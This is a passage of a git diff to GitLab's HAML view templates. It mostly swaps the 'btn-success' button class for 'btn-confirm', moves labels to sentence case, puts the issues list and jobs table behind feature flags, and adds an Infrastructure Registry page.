+ = f.submit _('Save changes'), class: "btn gl-button btn-confirm #{('js-confirm-danger' if show_visibility_confirm_modal?(@project))}", data: { qa_selector: 'visibility_features_permissions_save_button', check_field_name: ("project[visibility_level]" if show_visibility_confirm_modal?(@project)), check_compare_value: @project.visibility_level }
%section.rspec-merge-request-settings.settings.merge-requests-feature.no-animate#js-merge-request-settings{ class: [('expanded' if expanded), ('hidden' if @project.project_feature.send(:merge_requests_access_level) == 0)], data: { qa_selector: 'merge_request_settings_content' } }
.settings-header
@@ -39,7 +37,7 @@
= form_for @project, html: { multipart: true, class: "merge-request-settings-form js-mr-settings-form" }, authenticity_token: true do |f|
%input{ name: 'update_section', type: 'hidden', value: 'js-merge-request-settings' }
= render 'projects/merge_request_settings', form: f
- = f.submit _('Save changes'), class: "btn gl-button btn-success rspec-save-merge-request-changes", data: { qa_selector: 'save_merge_request_changes_button' }
+ = f.submit _('Save changes'), class: "btn gl-button btn-confirm rspec-save-merge-request-changes", data: { qa_selector: 'save_merge_request_changes_button' }
= render_if_exists 'projects/merge_request_approvals_settings', expanded: expanded
diff --git a/app/views/projects/empty.html.haml b/app/views/projects/empty.html.haml
index 0c682226df3..171222368d6 100644
--- a/app/views/projects/empty.html.haml
+++ b/app/views/projects/empty.html.haml
@@ -5,6 +5,7 @@
= render partial: 'flash_messages', locals: { project: @project }
= render "home_panel"
+= render "archived_notice", project: @project
= render "invite_members" if experiment_enabled?(:invite_members_empty_project_version_a) && can_import_members?
diff --git a/app/views/projects/environments/_form.html.haml b/app/views/projects/environments/_form.html.haml
index 10890bf1921..a295c8f6fb0 100644
--- a/app/views/projects/environments/_form.html.haml
+++ b/app/views/projects/environments/_form.html.haml
@@ -17,5 +17,5 @@
= f.url_field :external_url, class: 'form-control'
.form-actions
- = f.submit _('Save'), class: 'gl-button btn btn-success'
+ = f.submit _('Save'), class: 'gl-button btn btn-confirm'
= link_to _('Cancel'), project_environments_path(@project), class: 'gl-button btn btn-cancel'
diff --git a/app/views/projects/environments/empty_metrics.html.haml b/app/views/projects/environments/empty_metrics.html.haml
index 3ee51a318c6..df05909e8ef 100644
--- a/app/views/projects/environments/empty_metrics.html.haml
+++ b/app/views/projects/environments/empty_metrics.html.haml
@@ -11,4 +11,4 @@
%p.state-description
= s_('Metrics|Check out the CI/CD documentation on deploying to an environment')
.text-center
- = link_to s_("Environments|Learn about environments"), help_page_path('ci/environments/index.md'), class: 'gl-button btn btn-success'
+ = link_to s_("Environments|Learn about environments"), help_page_path('ci/environments/index.md'), class: 'gl-button btn btn-confirm'
diff --git a/app/views/projects/environments/index.html.haml b/app/views/projects/environments/index.html.haml
index 5da9c25b780..06a2ed46805 100644
--- a/app/views/projects/environments/index.html.haml
+++ b/app/views/projects/environments/index.html.haml
@@ -6,4 +6,5 @@
"can-create-environment" => can?(current_user, :create_environment, @project).to_s,
"new-environment-path" => new_project_environment_path(@project),
"help-page-path" => help_page_path("ci/environments/index.md"),
- "project-path" => @project.full_path } }
+ "project-path" => @project.full_path,
+ "default-branch-name" => @project.default_branch_or_master } }
diff --git a/app/views/projects/environments/show.html.haml b/app/views/projects/environments/show.html.haml
index 0cb44bd03fb..b3e4b7a4998 100644
--- a/app/views/projects/environments/show.html.haml
+++ b/app/views/projects/environments/show.html.haml
@@ -67,7 +67,7 @@
%p.blank-state-text
= html_escape(_("Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here.")) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
.text-center
- = link_to _("Read more"), help_page_path("ci/environments/index.md"), class: "gl-button btn btn-success"
+ = link_to _("Read more"), help_page_path("ci/environments/index.md"), class: "gl-button btn btn-confirm"
- else
.table-holder.gl-overflow-visible
.ci-table.environments{ role: 'grid' }
diff --git a/app/views/projects/forks/_fork_button.html.haml b/app/views/projects/forks/_fork_button.html.haml
index 60a4a5c9d70..84259890a44 100644
--- a/app/views/projects/forks/_fork_button.html.haml
+++ b/app/views/projects/forks/_fork_button.html.haml
@@ -17,4 +17,4 @@
= link_to _("Select"), project_forks_path(@project, namespace_key: namespace.id),
data: { qa_selector: 'fork_namespace_button', qa_name: namespace.human_name },
method: "POST",
- class: ["btn gl-button btn-success", ("disabled" unless can_create_project)]
+ class: ["btn gl-button btn-confirm", ("disabled" unless can_create_project)]
diff --git a/app/views/projects/forks/index.html.haml b/app/views/projects/forks/index.html.haml
index 89c2c826067..ba4e40a8675 100644
--- a/app/views/projects/forks/index.html.haml
+++ b/app/views/projects/forks/index.html.haml
@@ -30,11 +30,11 @@
- if current_user && can?(current_user, :fork_project, @project)
- if current_user.already_forked?(@project) && current_user.manageable_namespaces.size < 2
- = link_to namespace_project_path(current_user, current_user.fork_of(@project)), title: _('Go to your fork'), class: 'btn gl-button btn-success' do
+ = link_to namespace_project_path(current_user, current_user.fork_of(@project)), title: _('Go to your fork'), class: 'btn gl-button btn-confirm' do
= sprite_icon('fork', size: 12)
%span= _('Fork')
- else
- = link_to new_project_fork_path(@project), title: _("Fork project"), class: 'btn gl-button btn-success' do
+ = link_to new_project_fork_path(@project), title: _("Fork project"), class: 'btn gl-button btn-confirm' do
= sprite_icon('fork', size: 12)
%span= _('Fork')
diff --git a/app/views/projects/graphs/show.html.haml b/app/views/projects/graphs/show.html.haml
index c62d4a35973..1973b23a062 100644
--- a/app/views/projects/graphs/show.html.haml
+++ b/app/views/projects/graphs/show.html.haml
@@ -5,4 +5,4 @@
= render 'shared/ref_switcher', destination: 'graphs'
= link_to s_('Commits|History'), project_commits_path(@project, current_ref), class: 'btn gl-button btn-default'
-.js-contributors-graph{ class: container_class, 'data-project-graph-path': project_graph_path(@project, current_ref, format: :json),'data-project-branch': current_ref }
+.js-contributors-graph{ class: container_class, data: { project_graph_path: project_graph_path(@project, current_ref, format: :json), project_branch: current_ref, default_branch: @project.default_branch } }
diff --git a/app/views/projects/hooks/edit.html.haml b/app/views/projects/hooks/edit.html.haml
index fb19b251d41..226cd7d89b6 100644
--- a/app/views/projects/hooks/edit.html.haml
+++ b/app/views/projects/hooks/edit.html.haml
@@ -10,7 +10,7 @@
= form_for [@project, @hook], as: :hook, url: project_hook_path(@project, @hook) do |f|
= render partial: 'shared/web_hooks/form', locals: { form: f, hook: @hook }
- = f.submit 'Save changes', class: 'btn gl-button btn-success gl-mr-3'
+ = f.submit 'Save changes', class: 'btn gl-button btn-confirm gl-mr-3'
= render 'shared/web_hooks/test_button', hook: @hook
= link_to _('Delete'), project_hook_path(@project, @hook), method: :delete, class: 'btn gl-button btn-danger float-right', data: { confirm: _('Are you sure?') }
diff --git a/app/views/projects/hooks/index.html.haml b/app/views/projects/hooks/index.html.haml
index 03ea623f4c6..5ca65d55eea 100644
--- a/app/views/projects/hooks/index.html.haml
+++ b/app/views/projects/hooks/index.html.haml
@@ -9,6 +9,6 @@
.col-lg-8.gl-mb-3
= form_for @hook, as: :hook, url: polymorphic_path([@project, :hooks]) do |f|
= render partial: 'shared/web_hooks/form', locals: { form: f, hook: @hook }
- = f.submit 'Add webhook', class: 'gl-button btn btn-success'
+ = f.submit 'Add webhook', class: 'gl-button btn btn-confirm'
= render 'shared/web_hooks/index', hooks: @hooks, hook_class: @hook.class
diff --git a/app/views/projects/imports/new.html.haml b/app/views/projects/imports/new.html.haml
index 3064b8bf873..e2d8791b5d2 100644
--- a/app/views/projects/imports/new.html.haml
+++ b/app/views/projects/imports/new.html.haml
@@ -16,4 +16,4 @@
= render "shared/import_form", f: f
.form-actions
- = f.submit 'Start import', class: "gl-button btn btn-success"
+ = f.submit 'Start import', class: "gl-button btn btn-confirm"
diff --git a/app/views/projects/issuable/_show.html.haml b/app/views/projects/issuable/_show.html.haml
index 8015b205568..f311ed2d8ae 100644
--- a/app/views/projects/issuable/_show.html.haml
+++ b/app/views/projects/issuable/_show.html.haml
@@ -1,3 +1,4 @@
+- api_awards_path = local_assigns.fetch(:api_awards_path, nil)
- page_description issuable.description_html
- page_card_attributes issuable.card_attributes
- if issuable.relocation_target
@@ -6,4 +7,4 @@
= render "projects/issues/alert_moved_from_service_desk", issue: issuable
= render 'shared/issue_type/details_header', issuable: issuable
-= render 'shared/issue_type/details_content', issuable: issuable
+= render 'shared/issue_type/details_content', issuable: issuable, api_awards_path: api_awards_path
diff --git a/app/views/projects/issues/_new_branch.html.haml b/app/views/projects/issues/_new_branch.html.haml
index d299d2846c6..45b2f86c03d 100644
--- a/app/views/projects/issues/_new_branch.html.haml
+++ b/app/views/projects/issues/_new_branch.html.haml
@@ -11,17 +11,18 @@
- refs_path = refs_namespace_project_path(@project.namespace, @project, search: '')
.create-mr-dropdown-wrap.d-inline-block.full-width-mobile.js-create-mr{ data: { project_path: @project.full_path, project_id: @project.id, can_create_path: can_create_path, create_mr_path: create_mr_path, create_branch_path: create_branch_path, refs_path: refs_path, is_confidential: can_create_confidential_merge_request?.to_s } }
- .btn-group.btn-group-sm.unavailable
- %button.btn.btn-grouped{ type: 'button', disabled: 'disabled' }
- .spinner.align-text-bottom.mr-1.hide
+ .btn-group.unavailable
+ %button.gl-button.btn{ type: 'button', disabled: 'disabled' }
+ .spinner.align-text-bottom.gl-button-icon.hide
%span.text
Checking branch availability…
- .btn-group.btn-group-sm.available.hidden
- %button.btn.js-create-merge-request.btn-success.btn-inverted{ type: 'button', data: { action: data_action } }
+ .btn-group.available.hidden
+ %button.gl-button.btn.js-create-merge-request.btn-confirm{ type: 'button', data: { action: data_action } }
+ .spinner.js-spinner.gl-mr-2.gl-display-none
= value
- %button.btn.gl-button.create-merge-request-dropdown-toggle.dropdown-toggle.btn-success.btn-inverted.js-dropdown-toggle.gl-flex-grow-0.gl-h-7{ type: 'button', data: { dropdown: { trigger: '#create-merge-request-dropdown' }, display: 'static' } }
+ %button.gl-button.btn.btn-confirm.btn-icon.dropdown-toggle.create-merge-request-dropdown-toggle.js-dropdown-toggle{ type: 'button', data: { dropdown: { trigger: '#create-merge-request-dropdown' }, display: 'static' } }
= sprite_icon('chevron-down')
.droplab-dropdown
@@ -57,7 +58,7 @@
%span.js-ref-message.form-text.text-muted
.form-group
- %button.btn.gl-button.btn-success.js-create-target{ type: 'button', data: { action: 'create-mr' } }
+ %button.btn.gl-button.btn-confirm.js-create-target{ type: 'button', data: { action: 'create-mr' } }
= create_mr_text
- if can_create_confidential_merge_request?
diff --git a/app/views/projects/issues/index.html.haml b/app/views/projects/issues/index.html.haml
index 1d300c42768..9b043ea3c47 100644
--- a/app/views/projects/issues/index.html.haml
+++ b/app/views/projects/issues/index.html.haml
@@ -13,29 +13,24 @@
issues_path: project_issues_path(@project),
project_path: @project.full_path } }
-- if project_issues(@project).exists?
+- if Feature.enabled?(:vue_issues_list, @project)
+ .js-issues-list{ data: issues_list_data(@project, current_user, finder) }
+ - if @can_bulk_update
+ = render 'shared/issuable/bulk_update_sidebar', type: :issues
+- elsif project_issues(@project).exists?
.top-area
= render 'shared/issuable/nav', type: :issues
= render "projects/issues/nav_btns"
+ = render 'shared/issuable/search_bar', type: :issues
- - if Feature.enabled?(:vue_issues_list, @project)
- - data_endpoint = local_assigns.fetch(:data_endpoint, expose_path(api_v4_projects_issues_path(id: @project.id)))
- .js-issues-list{ data: { endpoint: data_endpoint,
- full_path: @project.full_path,
- has_blocked_issues_feature: Gitlab.ee? && @project.feature_available?(:blocked_issues).to_s,
- has_issuable_health_status_feature: Gitlab.ee? && @project.feature_available?(:issuable_health_status).to_s,
- has_issue_weights_feature: Gitlab.ee? && @project.feature_available?(:issue_weights).to_s } }
- - else
- = render 'shared/issuable/search_bar', type: :issues
+ - if @can_bulk_update
+ = render 'shared/issuable/bulk_update_sidebar', type: :issues
- - if @can_bulk_update
- = render 'shared/issuable/bulk_update_sidebar', type: :issues
-
- .issues-holder
- = render 'issues'
- - if new_issue_email
- .issuable-footer.text-center
- .js-issueable-by-email{ data: { initial_email: new_issue_email, issuable_type: issuable_type, emails_help_page_path: help_page_path('development/emails', anchor: 'email-namespace'), quick_actions_help_path: help_page_path('user/project/quick_actions'), markdown_help_path: help_page_path('user/markdown'), reset_path: new_issuable_address_project_path(@project, issuable_type: issuable_type) } }
+ .issues-holder
+ = render 'issues'
+ - if new_issue_email
+ .issuable-footer.text-center
+ .js-issueable-by-email{ data: { initial_email: new_issue_email, issuable_type: issuable_type, emails_help_page_path: help_page_path('development/emails', anchor: 'email-namespace'), quick_actions_help_path: help_page_path('user/project/quick_actions'), markdown_help_path: help_page_path('user/markdown'), reset_path: new_issuable_address_project_path(@project, issuable_type: issuable_type) } }
- else
- new_project_issue_button_path = @project.archived? ? false : new_project_issue_path(@project)
= render 'shared/empty_states/issues', new_project_issue_button_path: new_project_issue_button_path, show_import_button: true
diff --git a/app/views/projects/issues/show.html.haml b/app/views/projects/issues/show.html.haml
index c3949a83e3f..a465f59c559 100644
--- a/app/views/projects/issues/show.html.haml
+++ b/app/views/projects/issues/show.html.haml
@@ -3,4 +3,5 @@
- breadcrumb_title @issue.to_reference
- page_title "#{@issue.title} (#{@issue.to_reference})", _("Issues")
-= render 'projects/issuable/show', issuable: @issue
+= render 'projects/issuable/show', issuable: @issue, api_awards_path: award_emoji_issue_api_path(@issue)
+= render 'shared/issuable/invite_members_trigger', project: @project
diff --git a/app/views/projects/jobs/_table.html.haml b/app/views/projects/jobs/_table.html.haml
index 402f7ddb38d..819837a9eff 100644
--- a/app/views/projects/jobs/_table.html.haml
+++ b/app/views/projects/jobs/_table.html.haml
@@ -12,7 +12,7 @@
= s_('Jobs|Use jobs to automate your tasks')
%p
= s_('Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project.')
- = link_to s_('Jobs|Create CI/CD configuration file'), @project.present(current_user: current_user).add_ci_yml_path, class: 'btn gl-button btn-info js-empty-state-button'
+ = link_to s_('Jobs|Create CI/CD configuration file'), project_ci_pipeline_editor_path(project), class: 'btn gl-button btn-info js-empty-state-button'
- else
.nothing-here-block= s_('Jobs|No jobs to show')
- else
@@ -28,7 +28,7 @@
%th Runner
%th Stage
%th Name
- %th Timing
+ %th Duration
%th Coverage
%th
diff --git a/app/views/projects/jobs/index.html.haml b/app/views/projects/jobs/index.html.haml
index a0ec6002db7..f2aab3d9394 100644
--- a/app/views/projects/jobs/index.html.haml
+++ b/app/views/projects/jobs/index.html.haml
@@ -1,15 +1,12 @@
- page_title _("Jobs")
- add_page_specific_style 'page_bundles/ci_status'
-.top-area
- - build_path_proc = ->(scope) { project_jobs_path(@project, scope: scope) }
- = render "shared/builds/tabs", build_path_proc: build_path_proc, all_builds: @all_builds, scope: @scope
+- if Feature.enabled?(:jobs_table_vue, @project, default_enabled: :yaml)
+ #js-jobs-table{ data: { full_path: @project.full_path, job_counts: job_counts.to_json, job_statuses: job_statuses.to_json } }
+- else
+ .top-area
+ - build_path_proc = ->(scope) { project_jobs_path(@project, scope: scope) }
+ = render "shared/builds/tabs", build_path_proc: build_path_proc, all_builds: @all_builds, scope: @scope
- .nav-controls
- - if can?(current_user, :update_build, @project)
- = link_to project_ci_lint_path(@project), class: 'btn gl-button btn-default' do
- %span
- = _('CI Lint')
-
-.content-list.builds-content-list
- = render "table", builds: @builds, project: @project
+ .content-list.builds-content-list
+ = render "table", builds: @builds, project: @project
diff --git a/app/views/projects/labels/index.html.haml b/app/views/projects/labels/index.html.haml
index 357d4d193df..e034e9c71ab 100644
--- a/app/views/projects/labels/index.html.haml
+++ b/app/views/projects/labels/index.html.haml
@@ -8,7 +8,7 @@
#js-promote-label-modal
= render 'shared/labels/nav', labels_or_filters: labels_or_filters, can_admin_label: can_admin_label
- .labels-container.gl-mt-3
+ .labels-container.gl-mt-3.gl-bg-gray-10.gl-border-solid.gl-border-1.gl-border-gray-100
- if can_admin_label && search.blank?
%p.text-muted
= _('Labels can be applied to issues and merge requests.')
diff --git a/app/views/projects/logs/empty_logs.html.haml b/app/views/projects/logs/empty_logs.html.haml
index 5e3db401d79..48403f5e55e 100644
--- a/app/views/projects/logs/empty_logs.html.haml
+++ b/app/views/projects/logs/empty_logs.html.haml
@@ -11,4 +11,4 @@
%p.state-description.text-center
= s_('Logs|To see the logs, deploy your code to an environment.')
.text-center
- = link_to s_('Environments|Learn about environments'), help_page_path('ci/environments/index.md'), class: 'gl-button btn btn-success'
+ = link_to s_('Environments|Learn about environments'), help_page_path('ci/environments/index.md'), class: 'gl-button btn btn-confirm'
diff --git a/app/views/projects/merge_requests/_awards_block.html.haml b/app/views/projects/merge_requests/_awards_block.html.haml
index e7577e13b68..09466ed2244 100644
--- a/app/views/projects/merge_requests/_awards_block.html.haml
+++ b/app/views/projects/merge_requests/_awards_block.html.haml
@@ -1,5 +1,5 @@
.content-block.content-block-small.emoji-list-container.js-noteable-awards
- = render 'award_emoji/awards_block', awardable: @merge_request, inline: true do
+ = render 'award_emoji/awards_block', awardable: @merge_request, inline: true, api_awards_path: award_emoji_merge_request_api_path(@merge_request) do
.ml-auto.mt-auto.mb-auto
#js-vue-sort-issue-discussions
= render "projects/merge_requests/discussion_filter"
diff --git a/app/views/projects/merge_requests/_mr_title.html.haml b/app/views/projects/merge_requests/_mr_title.html.haml
index 354c6665a50..26d8e571973 100644
--- a/app/views/projects/merge_requests/_mr_title.html.haml
+++ b/app/views/projects/merge_requests/_mr_title.html.haml
@@ -21,7 +21,7 @@
#js-issuable-header-warnings
= issuable_meta(@merge_request, @project)
- %a.btn.btn-default.float-right.d-block.d-sm-none.gutter-toggle.issuable-gutter-toggle.js-sidebar-toggle{ href: "#" }
+ %a.gl-button.btn.btn-default.btn-icon.float-right.d-block.d-sm-none.gutter-toggle.issuable-gutter-toggle.js-sidebar-toggle{ href: "#" }
= sprite_icon('chevron-double-lg-left')
.detail-page-header-actions.js-issuable-actions
@@ -50,4 +50,4 @@
- if can_update_merge_request && !are_close_and_open_buttons_hidden
= render 'projects/merge_requests/close_reopen_draft_report_toggle'
- elsif !@merge_request.merged?
- = link_to _('Report abuse'), new_abuse_report_path(user_id: @merge_request.author.id, ref_url: merge_request_url(@merge_request)), class: 'gl-display-none gl-md-display-block gl-button btn btn-warning-secondary float-right gl-ml-3', title: _('Report abuse')
+ = link_to _('Report abuse'), new_abuse_report_path(user_id: @merge_request.author.id, ref_url: merge_request_url(@merge_request)), class: 'gl-display-none gl-md-display-block gl-button btn btn-default float-right gl-ml-3', title: _('Report abuse')
diff --git a/app/views/projects/merge_requests/conflicts/show.html.haml b/app/views/projects/merge_requests/conflicts/show.html.haml
index e02f126d165..ee296258d04 100644
--- a/app/views/projects/merge_requests/conflicts/show.html.haml
+++ b/app/views/projects/merge_requests/conflicts/show.html.haml
@@ -1,4 +1,4 @@
-- page_title _("Merge Conflicts"), "#{@merge_request.title} (#{@merge_request.to_reference}", _("Merge Requests")
+- page_title _("Merge Conflicts"), "#{@merge_request.title} (#{@merge_request.to_reference}", _("Merge requests")
- add_page_specific_style 'page_bundles/merge_conflicts'
= render "projects/merge_requests/mr_title"
diff --git a/app/views/projects/merge_requests/creations/_new_compare.html.haml b/app/views/projects/merge_requests/creations/_new_compare.html.haml
index 2cb75d43d4b..7082bf4b8b0 100644
--- a/app/views/projects/merge_requests/creations/_new_compare.html.haml
+++ b/app/views/projects/merge_requests/creations/_new_compare.html.haml
@@ -1,5 +1,5 @@
%h3.page-title
- New Merge Request
+ New merge request
= form_for [@project, @merge_request], url: project_new_merge_request_path(@project), method: :get, html: { class: "merge-request-form js-requires-input" } do |f|
- if params[:nav_source].present?
@@ -64,4 +64,4 @@
- if @merge_request.errors.any?
= form_errors(@merge_request)
- = f.submit 'Compare branches and continue', class: "gl-button btn btn-success mr-compare-btn"
+ = f.submit 'Compare branches and continue', class: "gl-button btn btn-confirm mr-compare-btn"
diff --git a/app/views/projects/merge_requests/creations/_new_submit.html.haml b/app/views/projects/merge_requests/creations/_new_submit.html.haml
index 79781e4a311..a8facf1c6fd 100644
--- a/app/views/projects/merge_requests/creations/_new_submit.html.haml
+++ b/app/views/projects/merge_requests/creations/_new_submit.html.haml
@@ -1,5 +1,5 @@
%h3.page-title
- New Merge Request
+ New merge request
= form_for [@project, @merge_request], html: { class: 'merge-request-form common-note-form js-requires-input js-quick-submit' } do |f|
= render 'shared/issuable/form', f: f, issuable: @merge_request, commits: @commits, presenter: @mr_presenter
= f.hidden_field :source_project_id
@@ -33,7 +33,7 @@
Pipelines
%span.badge.badge-pill= @pipelines.size
%li.diffs-tab
- = link_to url_for(safe_params.merge(action: 'diffs')), data: {target: 'div#diffs', action: 'diffs', toggle: 'tabvue'} do
+ = link_to url_for(safe_params.merge(action: 'diffs')), data: {target: 'div#diffs', action: 'diffs', toggle: 'tabvue', qa_selector: 'diffs_tab'} do
Changes
%span.badge.badge-pill= @merge_request.diff_size
diff --git a/app/views/projects/merge_requests/creations/new.html.haml b/app/views/projects/merge_requests/creations/new.html.haml
index 0741b24a5a1..6a8894384df 100644
--- a/app/views/projects/merge_requests/creations/new.html.haml
+++ b/app/views/projects/merge_requests/creations/new.html.haml
@@ -1,6 +1,6 @@
-- add_to_breadcrumbs _("Merge Requests"), project_merge_requests_path(@project)
+- add_to_breadcrumbs _("Merge requests"), project_merge_requests_path(@project)
- breadcrumb_title _("New")
-- page_title _("New Merge Request")
+- page_title _("New merge request")
- add_page_specific_style 'page_bundles/pipelines'
- add_page_specific_style 'page_bundles/ci_status'
diff --git a/app/views/projects/merge_requests/edit.html.haml b/app/views/projects/merge_requests/edit.html.haml
index a4bb790ce0b..019015a4d86 100644
--- a/app/views/projects/merge_requests/edit.html.haml
+++ b/app/views/projects/merge_requests/edit.html.haml
@@ -1,5 +1,5 @@
-- page_title _("Edit"), "#{@merge_request.title} (#{@merge_request.to_reference}", _("Merge Requests")
+- page_title _("Edit"), "#{@merge_request.title} (#{@merge_request.to_reference}", _("Merge requests")
%h3.page-title
- Edit Merge Request #{@merge_request.to_reference}
+ Edit merge request #{@merge_request.to_reference}
= render 'form'
diff --git a/app/views/projects/merge_requests/index.html.haml b/app/views/projects/merge_requests/index.html.haml
index 62a251c7015..22d78418c5b 100644
--- a/app/views/projects/merge_requests/index.html.haml
+++ b/app/views/projects/merge_requests/index.html.haml
@@ -3,7 +3,7 @@
- new_merge_request_path = project_new_merge_request_path(merge_project) if merge_project
- issuable_type = 'merge_request'
-- page_title _("Merge Requests")
+- page_title _("Merge requests")
- new_merge_request_email = @project.new_issuable_address(current_user, 'merge_request')
= render 'projects/last_push'
diff --git a/app/views/projects/merge_requests/invalid.html.haml b/app/views/projects/merge_requests/invalid.html.haml
index df942c11883..f0bf5af7732 100644
--- a/app/views/projects/merge_requests/invalid.html.haml
+++ b/app/views/projects/merge_requests/invalid.html.haml
@@ -1,4 +1,4 @@
-- page_title "#{@merge_request.title} (#{@merge_request.to_reference}", _("Merge Requests")
+- page_title "#{@merge_request.title} (#{@merge_request.to_reference}", _("Merge requests")
- badge_css_classes = "badge gl-text-white"
- badge_info_css_classes = "#{badge_css_classes} badge-info"
- badge_inverse_css_classes = "#{badge_css_classes} badge-inverse"
@@ -25,4 +25,4 @@
of internal error
%strong
- Please close Merge Request or change branches with existing one
+ Please close merge request or change branches with existing one
diff --git a/app/views/projects/merge_requests/show.html.haml b/app/views/projects/merge_requests/show.html.haml
index d664ee709dd..416cb932ec9 100644
--- a/app/views/projects/merge_requests/show.html.haml
+++ b/app/views/projects/merge_requests/show.html.haml
@@ -1,8 +1,8 @@
- @gfm_form = true
- @content_class = "merge-request-container#{' limit-container-width' unless fluid_layout}"
-- add_to_breadcrumbs _("Merge Requests"), project_merge_requests_path(@project)
+- add_to_breadcrumbs _("Merge requests"), project_merge_requests_path(@project)
- breadcrumb_title @merge_request.to_reference
-- page_title "#{@merge_request.title} (#{@merge_request.to_reference})", _("Merge Requests")
+- page_title "#{@merge_request.title} (#{@merge_request.to_reference})", _("Merge requests")
- page_description @merge_request.description_html
- page_card_attributes @merge_request.card_attributes
- suggest_changes_help_path = help_page_path('user/discussions/index.md', anchor: 'suggest-changes')
@@ -13,6 +13,8 @@
- add_page_specific_style 'page_bundles/reports'
- add_page_specific_style 'page_bundles/ci_status'
+- add_page_startup_api_call @endpoint_metadata_url
+
.merge-request{ data: { mr_action: mr_action, url: merge_request_path(@merge_request, format: :json), project_path: project_path(@merge_request.project), lock_version: @merge_request.lock_version } }
= render "projects/merge_requests/mr_title"
@@ -24,21 +26,21 @@
= render "projects/merge_requests/tabs/tab", class: "notes-tab", qa_selector: "notes_tab" do
= tab_link_for @merge_request, :show, force_link: @commit.present? do
= _("Overview")
- %span.badge.badge-pill= @merge_request.related_notes.user.count
+ %span.badge.badge-pill.gl-badge.badge-muted.sm= @merge_request.related_notes.user.count
- if @merge_request.source_project
- = render "projects/merge_requests/tabs/tab", name: "commits", class: "commits-tab" do
+ = render "projects/merge_requests/tabs/tab", name: "commits", class: "commits-tab", qa_selector: "commits_tab" do
= tab_link_for @merge_request, :commits do
= _("Commits")
- %span.badge.badge-pill= @commits_count
+ %span.badge.badge-pill.gl-badge.badge-muted.sm= @commits_count
- if number_of_pipelines.nonzero?
= render "projects/merge_requests/tabs/tab", name: "pipelines", class: "pipelines-tab" do
= tab_link_for @merge_request, :pipelines do
= _("Pipelines")
- %span.badge.badge-pill.js-pipelines-mr-count= number_of_pipelines
+ %span.badge.badge-pill.gl-badge.badge-muted.sm.js-pipelines-mr-count= number_of_pipelines
= render "projects/merge_requests/tabs/tab", name: "diffs", class: "diffs-tab", id: "diffs-tab", qa_selector: "diffs_tab" do
= tab_link_for @merge_request, :diffs do
= _("Changes")
- %span.badge.badge-pill= @merge_request.diff_size
+ %span.badge.badge-pill.gl-badge.badge-muted.sm= @merge_request.diff_size
.d-flex.flex-wrap.align-items-center.justify-content-lg-end
#js-vue-discussion-counter
@@ -60,9 +62,10 @@
- add_page_startup_api_call notes_url
- else
- add_page_startup_api_call discussions_path(@merge_request)
- - add_page_startup_api_call widget_project_json_merge_request_path(@project, @merge_request, format: :json)
+ - add_page_startup_api_call widget_project_json_merge_request_path(@project, @merge_request, async_mergeability_check: true, format: :json)
- add_page_startup_api_call cached_widget_project_json_merge_request_path(@project, @merge_request, format: :json)
#js-vue-mr-discussions{ data: { notes_data: notes_data(@merge_request, Feature.enabled?(:paginated_notes, @project)).to_json,
+ endpoint_metadata: @endpoint_metadata_url,
noteable_data: serialize_issuable(@merge_request, serializer: 'noteable'),
noteable_type: 'MergeRequest',
target_type: 'merge_request',
@@ -75,26 +78,10 @@
= render "projects/merge_requests/tabs/pane", name: "pipelines", id: "pipelines", class: "pipelines" do
- if number_of_pipelines.nonzero?
= render 'projects/commit/pipelines_list', disable_initialization: true, endpoint: pipelines_project_merge_request_path(@project, @merge_request)
- - if mr_action === "diffs"
- - add_page_startup_api_call @endpoint_metadata_url
- params = request.query_parameters
- if Feature.enabled?(:default_merge_ref_for_diffs, @project, default_enabled: :yaml)
- params = params.merge(diff_head: true)
- = render "projects/merge_requests/tabs/pane", name: "diffs", id: "js-diffs-app", class: "diffs", data: { "is-locked": @merge_request.discussion_locked?,
- endpoint: diffs_project_merge_request_path(@project, @merge_request, 'json', params),
- endpoint_metadata: @endpoint_metadata_url,
- endpoint_batch: diffs_batch_project_json_merge_request_path(@project, @merge_request, 'json', params),
- endpoint_coverage: @coverage_path,
- help_page_path: suggest_changes_help_path,
- current_user_data: @current_user_data,
- project_path: project_path(@merge_request.project),
- changes_empty_state_illustration: image_path('illustrations/merge_request_changes_empty.svg'),
- is_fluid_layout: fluid_layout.to_s,
- dismiss_endpoint: user_callouts_path,
- show_suggest_popover: show_suggest_popover?.to_s,
- show_whitespace_default: @show_whitespace_default.to_s,
- file_by_file_default: @file_by_file_default.to_s,
- default_suggestion_commit_message: default_suggestion_commit_message }
+ = render "projects/merge_requests/tabs/pane", name: "diffs", id: "js-diffs-app", class: "diffs", data: diffs_tab_pane_data(@project, @merge_request, params)
.mr-loading-status
.loading.hide
@@ -108,3 +95,6 @@
= render "projects/commit/change", type: 'cherry-pick', commit: @merge_request.merge_commit
#js-review-bar
+
+= render 'shared/issuable/invite_members_trigger', project: @project
+
diff --git a/app/views/projects/network/show.html.haml b/app/views/projects/network/show.html.haml
index 774fbc79430..3cff85a4979 100644
--- a/app/views/projects/network/show.html.haml
+++ b/app/views/projects/network/show.html.haml
@@ -6,7 +6,7 @@
.controls.gl-bg-gray-50.gl-p-2.gl-font-base.gl-text-gray-400.gl-border-b-1.gl-border-b-solid.gl-border-b-gray-300
= form_tag project_network_path(@project, @id), method: :get, class: 'form-inline network-form' do |f|
= text_field_tag :extended_sha1, @options[:extended_sha1], placeholder: _("Git revision"), class: 'search-input form-control gl-form-input input-mx-250 search-sha gl-mr-2'
- = button_tag class: 'btn gl-button btn-success btn-icon' do
+ = button_tag class: 'btn gl-button btn-confirm btn-icon' do
= sprite_icon('search')
.inline.gl-ml-5
.form-check.light
diff --git a/app/views/projects/packages/infrastructure_registry/index.html.haml b/app/views/projects/packages/infrastructure_registry/index.html.haml
new file mode 100644
index 00000000000..5a118997ff9
--- /dev/null
+++ b/app/views/projects/packages/infrastructure_registry/index.html.haml
@@ -0,0 +1,10 @@
+- page_title _("Infrastructure Registry")
+- @content_class = "limit-container-width" unless fluid_layout
+
+.row
+ .col-12
+ #js-vue-packages-list{ data: { resource_id: @project.id,
+ page_type: 'project',
+ empty_list_help_url: help_page_path('user/infrastructure/index'),
+ empty_list_illustration: image_path('illustrations/empty-state/empty-terraform-register-lg.svg'),
+ package_help_url: help_page_path('user/infrastructure/index') } }
diff --git a/app/views/projects/pages/_pages_settings.html.haml b/app/views/projects/pages/_pages_settings.html.haml
index f39941f6f0d..483f192109b 100644
